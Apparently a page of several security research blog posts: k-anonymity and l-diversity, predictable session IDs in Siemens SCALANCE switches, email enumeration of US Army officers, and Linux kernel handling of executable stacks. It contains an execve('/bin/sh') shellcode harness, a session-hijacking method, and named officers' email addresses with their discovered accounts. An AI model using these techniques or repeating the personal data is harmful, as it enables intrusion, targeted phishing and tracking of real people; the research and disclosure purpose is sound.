Stored personal data is always vulnerable to attackers who can track it down to its original owner. Because skilled attackers can sometimes gain access to metadata, there is very little you can do to protect your data aside from not storing it at all. Anonymity and privacy are not new concepts. Industries, such as healthcare, have used these concepts for decades, if not centuries. For the healthcare industry, protecting patient data remains one of the most challenging problems. Where does the balance tip when protecting privacy by not disclosing that person X is a diabetic, and protecting health by giving EMT’s information about allergies and existing conditions? It’s no surprise that those who research data anonymity and privacy often use healthcare information for their test cases. In this blog, I want to focus on two key principles relating to this.

k-Anonymity [2] 
In 2000, Latanya Sweeney used the US Census data to prove that 87% of US citizens are uniquely identifiable by their birth date, gender, and zip code[3]. That isn’t surprising from a mathematical point of view as there are approximately 310 million Americans and roughly 2 billion possible combinations of the {birth date,gender, zip code} tuple. You can easily find out how unique you really are through an online application using the latest US Census data [4] Although it is not a good idea to store “unique identifiers” like names, usernames, or social security numbers, this is not at all practical. Assuming that data storage is a requirement, k-Anonymity comes into play. By using data suppression, where data is replaced by an *, and data generalization, where—as an example—a specific age is replaced by an age range, companies can anonymize a data set to a level where each row is, at the very least, identical to k-1 rows in the dataset. Whoever thought an anonymity level could actually be mathematically proven?

k-Anonymity has known weaknesses. Imagine that you know that the data of your Person of Interest (POI) is among four possible records in four anonymous datasets. If these four records have a common trait like “disease = diabetes”, you know that your POI suffers from this disease without knowing the record in which their data is contained. With sufficient metadata about the POI, another concept comes into play. Coincidentally, this is also where we find a possible solution for preventing correlation attacks against breached databases.

l-diversity [5] 
One thing companies cannot control is how much knowledge about a POI an adversary has. This does not, however, divorce us from our responsibility to protect user data. This is where l-Diversity comes into play. This concept does not focus on the fields that attackers can use to identify a person with available data. Instead, it focuses on sensitive information in the dataset. By applying the l-Diversity principle to a dataset, companies can make it notably expensive for attackers to correlate information by increasing the number of required data points.

Solving Problems 
All of this sounds very academic, and the question remains whether or not we can apply this in real-life scenarios to better protect user data. In my opinion, we definitely can.

Social application developers should become familiar with the principles of k-Anonymity and l-Diversity. It’s also a good idea to build KPIs that can be measured against. If personal data is involved, organizations should agree on minimum values for k and l.

More and more applications allow user email addresses to be the same as the associated user name. This directly impacts the l-Diversity database score. Organizations should allow users to select their username and also allow the auto-generation of usernames. Both these tactics have drawbacks, but from a security point of view, they make sense.

Users should have some control. This becomes clear when analyzing the common data points that every application requires.

  • Email address:
    • Do not use your corporate email address for online services, unless it is absolutely necessary
    • If you have multiple email addresses, randomize the email addresses that you use for registration
    • If your email provider allows you to append random strings to your email address, such as name+random@gmail.com, use this randomization—especially if your email address is also your username for this service
  • Username:
    • If you can select your username, make it unique
    • If your email address is also your username, see my previous comments on this
  • Password:
    • Select a unique password for each service
    • In some cases, select a phone number for 2FA or other purposes

By understanding the concepts of k-Anonymity and l-Diversity, we now know that this statement in the www.diyevil.com article is incorrect:

“While the techniques described above depend on a bit of luck and may be of limited usefulness, they are yet another tool in the pen tester’s toolset for open source intelligence gathering and user attack vectors.”

The success of techniques discussed in this blog depend on science and math. Also, where science and math are in play, solutions can be devised. I can only hope that the troves of “data scientists” that are currently being recruited also understand the principles I have described. I also hope that we will eventually evolve into a world where not only big data matters but where anonymity and privacy are no longer empty words.

[1] http://www.diyevil.com/using-snapchat-to-compromise-users/
[2] https://ioactive.com/wp-content/uploads/2014/01/K-Anonymity.pdf
[3] https://ioactive.com/wp-content/uploads/2014/01/paper1.pdf
[4] http://aboutmyinfo.org/index.html
[5] https://ioactive.com/wp-content/uploads/2014/01/ldiversityTKDDdraft.pdf

INSIGHTS | January 13, 2014

The password is irrelevant

This story begins with a few merry and good hearted tweets from S4x13. These tweets in fact:
 
 
Notice the shared conviviality, and the jolly manner in which this discussion of vulnerabilities occurs.
 
It is with this same lightness in my heart that I thought I would explore the mysterious world of the.

 
So I waxed my moustache, rolled up my sleeves, and began to use the arcane powers of Quality Assurance. 
 
Ok, how would an attacker who doesn’t have default credentials or a device to test on go about investigating one of these remotely? Why, find one on Shodan of course!
 
 
Personally, I buy mine second hand from eBay with the fortune I inherited from my grandfather’s moustache wax empire.
 
The first thing an attacker would normally do is scan the device to get familiar with the ports and services. A quick nmap looks like this:
 
Nmap scan report for Unknown (192.168.0.5)
Host is up (0.0043s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 4.2 (protocol 2.0)
|_ssh-hostkey: 1024 cd:b4:33:49:62:3b:58:1a:67:5a:a3:f0:50:00:71:86 (RSA)
23/tcp  open  telnet?
80/tcp  open  http     WindWeb 4.00
|_http-methods: No Allow or Public header in OPTIONS response (status
code 501)
|_http-title: Logon to SCALANCE X Management (192.168.0.5)
84/tcp  open  ctf?
111/tcp open  rpcbind  2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|_  100000  2            111/udp  rpcbind
443/tcp open  ssl/http WindWeb 4.00
|_http-methods: No Allow or Public header in OPTIONS response (status
code 501)
|_http-title: Logon to SCALANCE X Management (192.168.0.5)
| ssl-cert: Subject: organizationName=Siemens
AG/stateOrProvinceName=BW/countryName=DE
| Not valid before: 2008-02-04T14:05:57+00:00
|_Not valid after:  2038-01-18T14:05:57+00:00
|_ssl-date: 1970-01-01T00:14:20+00:00; -43y254d14h08m05s from local time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_CBC_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_CBC_128_CBC_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
MAC Address: 00:0E:8C:A3:4E:CF (Siemens AG A&D ET)
Device type: general purpose
Running: Wind River VxWorks
OS CPE: cpe:/o:windriver:vxworks
OS details: VxWorks
Network Distance: 1 hop
 
So we have a variety of management interfaces to choose from: Telnet (really in 2014?!?), SSH, HTTP, and HTTPS. All of these interfaces share the same users and default passwords you would expect, but we are looking for something more meaningful. 
 
Now that we’ve found them on Shodan (wait, they’re all air-gapped, right?), we quickly learn from the web interface that there are only two users: admin and user. Next we view the web page source and search for “password” which gives us this lovely snippet:
 
document.submitForm.encoded.value = document.logonForm.username.value + “:” + md5(document.logonForm.username.value + “:” + document.logonForm.password.value + “:” + document.submitForm.nonceA.value)
 
 
This is equivalent to the following command on Linux:
 
echo -n “admin:admin:C0A8006500005F31” | md5sum
 
 
Which is then posted to the device in a form such as this (although this one has a different password*):
 
encoded=admin%3Aafc0dc177659c8e9d72dec8a3c68650e&nonceA=C0A800610000CE29
 
Setting aside just how weak the use of MD5 is (and in fact I have written a script to brute-force credentials snatched off the wire), that nonceA value is very important. A nonce is a ‘number used once’, which is typically used to prevent cryptographic replay attacks. In other words, this random challenge value is provided by the server, to keep an attacker from simply capturing the hash on the wire and replaying it to the server later when they want to login. This nonce then, deserves our attention.
 
It appears that this is an ID field in the cookie, and that it is also the session ID. If I can predict session Ids, I can perform session hijacking while someone is managing the switch. So we set about estimating the entropy of this session ID, which initially appears to be 16 hex values. However, we won’t even need to create an equation since it turns out to be COMPLETELY predictable, as you will soon see. 
 
We can use WGET to fetch the page a few times and get a small sample of these nonceA values. This is what we see:
 
C0A8006500005F31,C0A8006500001A21,C0A8006500000960,C0A80065000049A6
 
This seems distinctly non-random. In fact, when I measured it more precisely, it became clear that it was sequential! A little further investigation revealed that SNMP is sometimes available to us. So we use snmpwalk on one of the devices I have at home:
 
snmpwalk -Os -c public -v 1 192.168.0.5
iso.3.6.1.2.1.1.1.0 = STRING: “Siemens, SIMATIC NET, SCALANCE X204-2,
6GK5 204-2BB10-2AA3, HW: 4, FW: V4.03″
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.4196.1.1.5.2.22
iso.3.6.1.2.1.1.3.0 = Timeticks: (471614) 1:18:36.14
 
Well look at that! 
 
47164 in base 10 = 7323E in hex! I wonder if the session ID is simply uptime in hex?
 
We do a WGET at approximately the same time and get this as a session ID:
 
C0A800610007323F
 
So if we assume the last 8 hex chars are uptime in hex (or at least close enough for us to brute-force the few values around it), then where do the first 8 hex come from? 
 
I initially imagined they were unique for each device and set out to test that theory by getting a session ID from another device found on Shodan. Keep in mind I did not attempt a login, I just fetched the page to see what the session ID was. Sure enough it was different, but the one from the switch I have wasn’t the MAC address or any other unique identifier on the switch. I spent a week missing the point here, but luckily I have excellent company at IOActive Labs. 
 
It was during discussions with my esteemed colleague Reid Wightman, he suggested it was an IP address. He pointed out the C0 and A8 are 192 168 in decimal. So I went and checked the IP address of the switch I have, and it was not 192.168.0.97. So again I was stumped until I realized it was the IP address of my own client machine!
 
In other words, the nonceA was simply the address of the web client (converted to hex) connecting to the switch, concatenated to the uptime of the switch (in hex). I can practically see the developer who thought this would be a good idea. I can hear them thinking that each session is clearly distinguished by the address it is connecting from, and made impossible to brute-force with time. Time+Space, that’s too large to brute-force or estimate right? You must admit, it has a kind of perverse logic to it. Unfortunately, it is highly predictable and insecure.
 
Go home Scalance X200 family session IDs, you’re drunk. Aside from being completely predictable, they are too small. 32 hex is a far cry from using the 128 bits recommended by OWASP.
 
I guess that’s what they refer to in this announcement with the phrases “A potential vulnerability” and “that might allow attackers to hijack web sessions over the network without authentication”. 
 
There are a few more vulnerabilities to discuss about this switch, but to learn about those, you’ll have to see me at S4x14, or wait for the next blog post where I release a more reliable POC.
 
Usually I am one to organise a nice quiet coordinated disclosure, probably over a lavender scone and a cup of tea. I do my best to be polite, cheerful, and helpful, though I am under no obligation to do so, and there are considerable financial incentives for a researcher to never report a vulnerability at all
 
Siemens product CERT should be commended for being polite and helpful, and relatively quick with this fix. They acknowledged my work, and communicated clear timelines of when to expect a fix. This is precisely how they should go about communicating with us in the research community. It was at this point that I informed the good folks over at Siemens that I would verify the patch on Sep 12th. On the morning of the 12th, I tried to login to verify they patch they had provided, and found myself blocked from doing so. 
 
 
Should a firmware release with security implications only be downloadable in a forum that requires vetting and manual processing? Is it acceptable to end users that security patches are under export restriction?
 
Luckily these bans were lifted later that day and I was able to confirm the fixes. I would like to commend Siemens Product CERT the team for fixing these issues rapidly and with great professionalism. They communicated with me securely using GPG encrypted emails, set realistic timelines, and gave me feedback when those timelines didn’t work out. This leads me to a formal challenge based on their performance.
 
I challenge any other ICS vendors to match Siemens laudable response times and produce patches within 3 months for any externally submitted security vulnerabilities.
 
Stay tuned for part 2 where we release the simple Python script for authentication bypass which allows firmware and configuration upload and download.
 
*If you can crack this, and are interested in a job, please send IOActive your CV and the cleartext password used to create that credential. It is not hard, but it might take you a while….
INSIGHTS | December 4, 2013

Practical and cheap cyberwar (cyber-warfare): Part II

Disclaimer: I did not perform any illegal attacks on the mentioned websites in order to get the information I present here. No vulnerability was exploited on the websites, and they are not known to be vulnerable.
 
Given that we live in an age of information leakage where government surveillance and espionage abound, I decided in this second part to focus on a simple technique for information gathering on human targets. If an attacker is targeting a specific country, members of the military and defense contractors would make good human targets. When targeting members of the military, an attacker would probably focus on high ranking officers and for defense contractors, an attacker would focus on key decision makers, C-level executives, etc. Why? Because if an attacker compromises these people, they could gain access to valuable information related to their work, their personal life, and family. Data related to their work could help an attacker strategically by enabling them to build better defenses, steal intellectual property, and craft specific attacks. Data related to a target’s personal life could help attackers for blackmailing or attacking the target’s families.
 
 
There is no need to work for the NSA and have a huge budget in order to get juicy information. Everything is just one click away; attackers only need to find ways to easily milk the web. One easy way to gather information about people is to get their email addresses as I have described last year here http://blog.ioactive.com/2012/08/the-leaky-web-owning-your-favorite-ceos.html . Basically you use a website registration form and/or forgotten password functionality to find out if an email address is already registered on a website. With a list of email addresses attackers can easily enumerate the websites/services where people have accounts. Given the ever-increasing number of online accounts one person usually has, this could provide a lot of useful information. For instance, it could make perform phishing attacks and social engineering easier (see http://www.infosecurity-magazine.com/view/35048/hackers-target-mandiant-ceo-via-limo-service/). Also, if one of the sites where the target has an account is vulnerable, that website could be hacked in order to get the target’s account password. Due to password reuse, attackers can compromise all the target accounts most of the time. 
 
 
This is intended to be easy and practical, so let’s get hands on. I did this research about a year ago. First, I looked for US Army email addresses. After some Google.com searches, I ended up with some PDF files with a lot of information about military people and defense contractors:

I extracted some emails and made a list. I ended up with:
 
1784 total email addresses: military (active and retired), civilians, and defense contractors.
 
I could have gotten more email addresses, but that was enough for testing purposes. I wasn’t planning on doing a real attack.
 
I had a very simple (about 50 LoC or so) Python tool (thanks to my colleague Ariel Sanchez for quickly building original tool!) that can be fed a list of websites and email addresses. I had already built the website database with 20 or so common and well known websites (I should have used military related ones too for better results, but it still worked well), I loaded the list of email addresses I had found, and then ran the tool. A few minutes later I ended up with a long list of email addresses and the websites where those email addresses were used (meaning where the owners of those email addresses have accounts):
 
Site
Accounts
     %
Facebook
  308
17.26457
Google
  229
12.83632
Orbitz
  182
10.20179
WashingtonPost
  149
8.352018
Twitter 
  108
6.053812
Plaxo
  93
5.213004
LinkedIn
  65
3.643498
Garmin
  45
2.522422
MySpace
  44
2.466368
Dropbox
  44
2.466368
NYTimes
  36
2.017937
NikePlus
  23
1.289238
Skype
  16
0.896861
Hulu
  13
0.7287
Economist
  11
0.616592
Sony Entertainment Network
  9
0.504484
Ask
  3
0.168161
Gartner
  3
0.168161
Travelers
  2
0.112108
Naymz
  2
0.112108
Posterous
  1
0.056054
 
Interesting to find accounts on Sony Entertainment Network website, who says the military can’t play Playstation 🙂
 
I decided that I should focus on something juicier, not just random .mil email addresses. So, I did a little research about high ranking US Army officers, and as usual, Google and Wikipedia ended up being very useful.
 
Let’s start with US Army Generals. Since this was done in 2012, some of them could be retired now.

 
I found some retired ones that now may be working for defense contractors and trusted advisors:

 
Active US Army Generals seem not to use their .mil email addresses on common websites; however, we can see a pattern that almost all of them use orbitz.com. For retired ones, since we got the personal (not .mil) email addresses, we can see they use them on many websites.

After US Army Generals, I looked at Lieutenant Generals (we could say future Generals):

Maybe because they are younger they seem to use their .mil email address in several common websites including Facebook.com. Even more, they have most of their Facebook information available to public! I was thinking about publishing the related Facebook information, but I will leave it up to you to explore their Facebook profiles.
 


I also looked for US Army Mayor Generals and found at least 15 of them:
 
Robert Abrams
Email: robert.abrams@us.army.mil
 
 
 
Found account on site: orbitz.com
 
Found account on site: washingtonpost.com
 
 
Jamos Boozer
Email: james.boozer@us.army.mil
 
 
 
Found account on site: orbitz.com
 
Found account on site: facebook.com
 
 
Vincent Brooks
Email: vincent.brooks@us.army.mil
 
 
 
Found account on site: facebook.com
 
Found account on site: linkedin.com
 
 
James Eggleton
Email: james.eggleton@us.army.mil
 
 
 
Found account on site: plaxox.com
 
 
Reuben Jones
Email: reuben.jones@us.army.mil
 
 
 
Found account on site: plaxo.com
 
Found account on site: washingtonpost.com
 
 
 
 
David quantock
Email: david-quantock@us.army.mil
 
 
 
Found account on site: twitter.com
 
Found account on site: orbitz.com
 
Found account on site: plaxo.com
 
 
 
 
Dave Halverson
Email: dave.halverson@conus.army.mil
 
 
 
Found account on site: linkedin.com
 
 
Jo Bourque
Email: jo.bourque@us.army.mil
 
 
 
Found account on site: washingtonpost.com
 
 
 
 
Kev Leonard
Email: kev-leonard@us.army.mil
 
 
 
Found account on site: facebook.com
 
 
James Rogers
Email: james.rogers@us.army.mil
 
 
 
Found account on site: plaxo.com
 
 
 
 
William Crosby
Email: william.crosby@us.army.mil
 
 
 
Found account on site: linkedin.com
 
 
Anthony Cucolo
Email: anthony.cucolo@us.army.mil
 
 
 
Found account on site: twitter.com
 
Found account on site: orbitz.com
 
Found account on site: skype.com
 
Found account on site: plaxo.com
 
Found account on site: washingtonpost.com
 
Found account on site: linkedin.com
 
 
Genaro Dellrocco
Email: genaro.dellarocco@msl.army.mil
 
 
 
Found account on site: linkedin.com
 
 
Stephen Lanza
Email: stephen.lanza@us.army.mil
 
 
 
Found account on site: skype.com
 
Found account on site: plaxo.com
 
Found account on site: nytimes.com
 
 
Kurt Stein
Email: kurt-stein@us.army.mil
 
 
 
Found account on site: orbitz.com
 
Found account on site: skype.com
 
 
Later I found about 7 US Army Brigadier General and 120 US Army Colonel email addresses, but I didn’t have time to properly filter the results. These email addresses were associated with many website accounts.
 
Basically, the 1784 total email addresses included a broad list of ranking officers from the US Army.
 
Doing a quick analysis of the gathered information we could infer: 
  • Many have Facebook accounts exposing to public the family and friend relations that could be targeted by attackers. 
  • Most of them read and are probably subscribed to The Washington Post (makes sense, no?). This could be an interesting avenue for attacks such as phishing and watering hole attacks. 
  • Many of them use orbitz.com, probably for car rentals. Hacking this site can give attackers a lot of information about how they move, when they travel, etc. 
  • Many of them have accounts on google.com probably meaning they have Android devices (Smartphones, tablets, etc.).This could allow attackers to compromise the devices remotely (by email for instance) with known or 0days exploits since these devices are not usually patched and not very secure.
  • And last but not least, many of them including Generals use garmin.com or nikeplus.com. Those websites are related with GPS devices including running watches. These websites allow you to upload GPS information making them very valuable for attackers for tracking purposes. They could know on what area a person usually runs, travel, etc.

 

 
As we can see, it’s very cheap and easy to get information about ranking members of the US Army. People serving in the US Army should take extra precautions. They should not make their email addresses public and should only use them for “business” related issues, not personal activities.
INSIGHTS | November 27, 2013

A Short Tale About executable_stack in elf_read_implies_exec() in the Linux Kernel

This is a short and basic analysis I did when I was uncertain about code execution in the data memory segment. Later on, I describe what’s happening in the kernel side as well as what seems to be a small logic bug.
I’m not a kernel hacker/developer/ninja; I’m just a Linux user trying to figure out the reason of this behavior by looking in key places such as the ELF loader and other related functions. So, if you see any mistakes or you realize that I approached this in a wrong way, please let me know, I’d really appreciate that.
This article also could be useful for anyone starting in shellcoding since they might think their code is wrong when, in reality, there are other things around to take care of in order to test the functionality of their shellcodes or any other kind of code.
USER-LAND: Why is it possible to execute code in the data segment if it doesn’t have the PF_EXEC enabled?
A couple of weeks ago I was reading an article (in Spanish) about shellcodes creation in Linux x64. For demonstration purposes I’ll use this 64-bit execve(“/bin/sh”) shellcode: 

#include <unistd.h>

char shellcode[] =
“x48x31xd2x48x31xf6x48xbf”
“x2fx62x69x6ex2fx73x68x11”
“x48xc1xe7x08x48xc1xefx08”
“x57x48x89xe7x48xb8x3bx11”
“x11x11x11x11x11x11x48xc1”
“xe0x38x48xc1xe8x38x0fx05”;

int main(int argc, char ** argv) {
void (*fp)();
fp = (void(*)())shellcode;
(void)(*fp)();

return 0;
}

The author suggests the following for the proper execution of the shellcodes:
We compile and with the execstack utility we specify that the stack region used in the binary will be executable…”.

Immediately, I thought it was wrong because of the code to be executed would be placed in the ‘shellcode’ symbol in the .data section within the ELF file, which, in turn, would be in the data memory segment, not in the stack segment at runtime. For some reason, when trying to execute it without enabling the executable stack bit, it failed, and the opposite when it was enabled:

 

According to the execstack’s man-page:

“… ELF binaries and shared libraries now can be marked as requiring executable stack or not requiring it… This marking is done through the p_flags field in the PT_GNU_STACK program header entry… The marking is done automatically by recent GCC versions”.
It only modifies one bit adding the PF_EXEC flag to the PT_GNU_STACK program header. It also can be done by modifying the binary with an ELF editor such as HTEditor or at linking time by passing the argument ‘-z execstack’ to gcc. 
The change can be seen simply observing the flags RWE (Read, Write, Execution) using the readelf utility. In our case, only the ‘E’ flag was added to the stack memory segment:

 
The first loadable segment in both binaries, with the ‘E’ flag enabled, is where the code itself resides (the .text section) and the second one is where all our data resides. It’s also possible to map which bytes from each section correspond to which memory segments (remember, at runtime, the sections are not taken into account, only the program headers) using ‘readelf -l shellcode’.

So far, everything makes sense to me, but, wait a minute, the shellcode, or any other variable declared outside main(), is not supposed to be in the stack right? Instead, it should be placed in the section where the initialized data resides (as far as I know it’s normally in .data or .rodata). Let’s see where exactly it is by showing the symbol table and the corresponding section of each symbol (if it applies):

It’s pretty clear that our shellcode will be located at the memory address 0x00600840 in runtime and that the bytes reside in the .data section. The same result for the other binary, ‘shellcode_execstack’.

By default, the data memory segment doesn’t have the PF_EXEC flag enabled in its program header, that’s why it’s not possible to jump and execute code in that segment at runtime (Segmentation Fault), but: when the stack is executable, why is it also possible to execute code in the data segment if it doesn’t have that flag enabled? 

 
Is it a normal behavior or it’s a bug in the dynamic linker or kernel that doesn’t take into account that flag when loading ELFs? So, to take the dynamic linker out of the game, my fellow Ilja van Sprundel gave me the idea to compile with -static to create a standalone executable. A static binary doesn’t pass through the dynamic linker, instead, it’s loaded directly by the kernel (as far as I know). The same result was obtained with this one, so this result pointed directly to the kernel.

I tested this in a 2.6 kernel (x86_64) and in a 3.2 kernel (i686), and I got the same behavior in both.
KERNEL-LAND: Is that a bug in elf_read_implies_exec()?

Now, for the interesting part, what is really happening in the kernel side? I went straight to load_elf_binary()in linux-2.6.32.61/fs/binfmt_elf.c and found that the program header table is parsed to find the stack segment so as to set the executable_stack variable correctly:

     int executable_stack = EXSTACK_DEFAULT;

elf_ppnt = elf_phdata;
for (i = 0; i < loc->elf_ex.e_phnum; i++, elf_ppnt++)
if (elf_ppnt->p_type == PT_GNU_STACK) {
if (elf_ppnt->p_flags & PF_X)
executable_stack = EXSTACK_ENABLE_X;

else
executable_stack = EXSTACK_DISABLE_X;
break;
}

Keep in mind that only those three constants about executable stack are defined in the kernel (linux-2.6.32.61/include/linux/binfmts.h):

/* Stack area protections */
#define EXSTACK_DEFAULT    0  /* Whatever the arch defaults to */
#define EXSTACK_DISABLE_X  1  /* Disable executable stacks */
#define EXSTACK_ENABLE_X   2  /* Enable executable stacks */

Later on, the process’ personality is updated as follows:

     /* Do this immediately, since STACK_TOP as used in setup_arg_pages may depend on the personality.  */
SET_PERSONALITY(loc->elf_ex);
     if (elf_read_implies_exec(loc->elf_ex, executable_stack))
current->personality |= READ_IMPLIES_EXEC;

if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
current->flags |= PF_RANDOMIZE;

elf_read_implies_exec() is a macro in linux-2.6.32.61/arch/x86/include/asm/elf.h:

/*
* An executable for which elf_read_implies_exec() returns TRUE 

 * will have the READ_IMPLIES_EXEC personality flag set automatically.
*/
#define elf_read_implies_exec(ex, executable_stack)
(executable_stack != EXSTACK_DISABLE_X)

In our case, having an ELF binary with the PF_EXEC flag enabled in the PT_GNU_STACK program header, that macro will return TRUE since EXSTACK_ENABLE_X != EXSTACK_DISABLE_X, thus, our process’ personality will have READ_IMPLIES_EXEC flag. This constant, READ_IMPLIES_EXEC, is checked in some memory related functions such as in mmap.c, mprotect.c and nommu.c (all in linux-2.6.32.61/mm/). For instance, when creating the VMAs (Virtual Memory Areas) by the do_mmap_pgoff() function in mmap.c, it verifies the personality so it can add the PROT_EXEC (execution allowed) to the memory segments [1]:

     /*
* Does the application expect PROT_READ to imply PROT_EXEC?
*
* (the exception is when the underlying filesystem is noexec
*  mounted, in which case we dont add PROT_EXEC.)
*/
if ((prot & PROT_READ) && (current->personality & READ_IMPLIES_EXEC))
if (!(file && (file->f_path.mnt->mnt_flags & MNT_NOEXEC)))
prot |= PROT_EXEC;

And basically, that’s the reason of why code in the data segment can be executed when the stack is executable.

On the other hand, I had an idea: to delete the PT_GNU_STACK program header by changing its corresponding program header type to any other random value. Doing that, executable_stack would remain EXSTACK_DEFAULT when compared in elf_read_implies_exec(), which would return TRUE, right? Let’s see:


The program header type was modified from 0x6474e551 (PT_GNU_STACK) to 0xfee1dead, and note that the second LOAD (data segment, where our code to be executed is) doesn’t have the ‘E’xecutable flag enabled: 

 

The code was executed even when the execution flag is not enabled in the program header that holds it. I think it’s a logic bug in elf_read_implies_exec() because one can simply delete the PT_GNU_STACK header as to set executable_stack = EXSTACK_DEFAULT, making elf_read_implies_exec() to return TRUE. Instead comparing against EXSTACK_DISABLE_X, it should return TRUE only if executable_stack is EXSTACK_ENABLE_X:

#define elf_read_implies_exec(ex, executable_stack)
(executable_stack == EXSTACK_ENABLE_X)

Anyway, perhaps that’s the normal behavior of the Linux kernel for some compatibility issues or something else, but isn’t it weird that making the stack executable or deleting the PT_GNU_STACK header all the memory segments are loaded with execution permissions even when the PF_EXEC flag is not set?

What do you think?
Side notes:
       Kernel developers pass loc->elf_ex and never use it in:
#define elf_read_implies_exec(ex, executable_stack) (executable_stack != EXSTACK_DISABLE_X)

       Two constants are defined but never used in the whole kernel code:
#define INTERPRETER_NONE 0
#define INTERPRETER_ELF  2
Finally, I’d like to thank my collegues Ilja van Sprundel and Diego Bauche Madero for giving me some ideas.
Thanks for reading.
References:
[1] “Understanding the Linux Virtual Memory Manager”. Mel Gorman.
Chapter 4 – Process Address Space.